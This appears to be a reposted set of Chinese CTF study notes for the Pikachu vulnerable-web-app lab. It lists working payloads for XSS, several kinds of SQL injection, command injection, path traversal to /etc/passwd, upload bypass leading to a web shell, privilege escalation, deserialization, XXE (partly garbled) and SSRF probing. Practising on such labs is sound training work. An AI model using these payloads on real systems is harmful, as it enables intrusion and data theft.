ctf笔记(pikachu) 19.8.27-19.9.14

本期笔记以pikachu漏洞平台为主

XSS过htmlspecialchars
' οninput=alert`1` //
' οninput=alert`1` '
' οnchange=alert`1` //
' οnchange=alert`1` '

DOM型XSS
闭合掉语句,然后构造攻击语句
例:'>

XSS之href输出
以pikachu平台为例:先用' οnclick='alert(/xss/)'测试
发现语句被转化为HTML实体,拼接到a href中
payload:Javascript:alert(1)

XSS之js输出
输入测试
发现语句变为$ms='
payload
';alert(1)

';alert(document.cookie)//

sql报错注入之盲注
' or database() regexp '^a|bb|445456 从a开始匹配库名
' or (select group_concat(distinct table_name) from information_schema.columns where table_schema regexp '库名') regexp '^a|4545 爆表名
' or (select group_concat(distinct column_name) from information_schema.columns where table_name regexp '表名') regexp '^a|4545 爆列名
' or (select group_concat(列名) from 表名) regexp '^a|11 爆值
注:此方法只能爆出库中的第一个表
sql搜索型注入
判断
a%' and 1=1 --
a%' and 1=2 --
a%' and (select is_member('dbo'))=1-- 返回正常则 sa
a%' and (select is_member('db_owner'))=1-- 返回正常则 DB
都不是则是public
DB按照a%' sql inject--的格式进行注入
万能密码:以pikachu为例
%' or 1=1#
%' or 1=1-- (--后有空格)
' or 1=1#(整数型万能密码在这里也成功了)

xx型注入
先输入单引号,报错,关键部分right syntax to use near '''')'
猜测原sql语句类似于('xxx')
构造payload:') or 1=1#,成功

"insert/update"注入
单引号检测,报错
构造payload:1' or updatexml(1,concat(0x7e,(sql inject)),0) or'
例:
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema .tables where table_schema =database())),0) or '
updatexml可换为extractvalue,语句不变

"delete"注入
以pikachu为例:删除的形式为:sqli_del.php?id=60
构造payload:sqli_del.php?id=60 or updatexml(2,concat(0x7e,(database())),0)
其余参考"insert/update"注入

http头注入
全部加单引号检测,报错则存在注入
以pikachu为例,UA、http accept、cookie(uname、pw字段)皆可进行注入
payload:' or updatexml(1,concat(0x7e,(database())),0) or'

REC exec'ping'
在cmd中,&表示同时执行,&&表示前一条执行成功才执行后一条命令,||表示前一天条执行失败才执行后一条,|表示前一条的输出是后一条的输入
payload:127.0.0.1 & echo hello
exec 'eval'
后台使用eval()函数,并且无过滤
payload:phpinfo();

不安全的文件下载
构造payload:../../../../../../../etc/passwd

不安全文件上传
以pikachu为例
client check 抓包,把相应的script删掉再forward
MIME type 抓包,改MIME type为image/jpeg
getimagesize 地址:http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
传图马(含hack.php),抓包,改文件名为hack.php%00.jpg (用%00截断,绕过文件名检测),上传后发现回显目录为http://127.0.0.1/pikachu/vul/unsafeupload/uploads/2019/09/01/2455305d6b5aec7d419926309450.jpg
访问目录,显示正常图片说明图马成功上传,但无法直接连接php
利用本地包含漏洞filename=../../unsafeupload/uploads/2019/09/01/2455305d6b5aec7d419926309450.jpg可运行马

越权
水平越权 已知用户有a、b,登录a帐号,请求查看信息时抓包,将a的信息改为b(即伪造成是b的请求)
垂直越权 以pikachu为例,高级用户admin,低级用户pikachu,抓取admin的cookie,登录pikachu,第一个post是检验登录信息的,不修改,然后发现第二个get请求的页面为opt_user,猜测opt_admin为管理员目录,修改请求,并使用admin的cookie,越权登录

目录遍历
以pikachu为例,发现url为:dir_list.php?title=xxx的方式打开文件
payload:dir_list.php?title=../../../readme.md 成功读取了readme.md的文件

敏感信息泄漏
以pikachu为例,尝试使用弱口令admin/admin登录,抓包发现有一段注释,里面有用户密码

反序列化
以pikachu为例
已知对象名为s,变量名为test
payload:O:1:"s":1:{s:4:"test";s:29:"";}
O:代表object,1:代表对象名字长度为一个字符,s:对象的名称,1:代表对象里面有一个变量,s:数据类型(string),4:变量名称的长度,test:变量名称

XXE
以pikachu为例
payload:
]> &xxe;
]> &xxe;
]> &xxe;

URL重定向
以pikachu,打开第四个链接发现
http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url=i
payload:url=http://xxx

SSRF
curl
与上面URL重定向类似,可构造payload:url=http://xxx,但同时也支持file协议、gopher协议、dict协议
payload:url=dict://127.0.0.1:3306/info 查看目标主机数据库的版本
url=http://127.0.0.1:3306 也可以达到同样效果,因此可以用http协议对内网端口信息进行探测
curl如果访问一个不存在的地址,会爆出服务器信息
file_get_content
与上面一样,同样可用http和file协议,但无法使用dict协议
file_get_content如果访问一个不存在的地址,会爆出绝对路径

转载于:https://www.cnblogs.com/5h4d0w/p/11459458.html

你可能感兴趣的:(php,数据库,javascript,ViewUI)